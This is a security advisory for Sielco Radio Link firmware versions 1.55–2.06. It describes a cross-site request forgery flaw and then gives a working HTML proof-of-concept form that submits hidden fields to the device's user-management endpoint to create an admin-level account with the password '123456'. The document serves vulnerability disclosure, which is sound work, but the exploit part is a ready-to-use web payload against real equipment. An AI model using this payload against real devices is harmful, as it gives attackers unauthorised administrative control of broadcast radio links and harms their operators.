Sielco Radio Link 2.06 Cross-Site Request Forgery (Add Admin)

Vendor: Sielco S.r.l
Product web page:
Affected version: 2.06 (RTX19)
                  2.05 (RTX19)
                  2.00 (EXC19)
                  1.60 (RTX19)
                  1.59 (RTX19)
                  1.55 (EXC19)

Summary: Sielco develops and produces radio links for all
transmission and reception needs, thanks to innovative units
and excellent performances, accompanied by a high reliability
and low consumption.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: lwIP/2.1.1

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2023-5761
Advisory URL:


--><html><body><p>CSRF Add Admin:

<form action="http://radiolink/protect/users_rx.htm" method="POST">
<input name="pwd0" type="hidden" value=""/>
<input name="pwd0bis" type="hidden" value=""/>
<input name="user1" type="hidden" value="Reader"/>
<input name="pwd1" type="hidden" value="123456"/>
<input name="pwd1bis" type="hidden" value="123456"/>
<input name="auth1" type="hidden" value="2"/>
<input name="user2" type="hidden" value=""/>
<input name="pwd2" type="hidden" value=""/>
<input name="pwd2bis" type="hidden" value=""/>
<input name="auth2" type="hidden" value="0"/>
<input name="user3" type="hidden" value=""/>
<input name="pwd3" type="hidden" value=""/>
<input name="pwd3bis" type="hidden" value=""/>
<input name="auth3" type="hidden" value="0"/>
<input type="submit" value="Adminize Me!"/>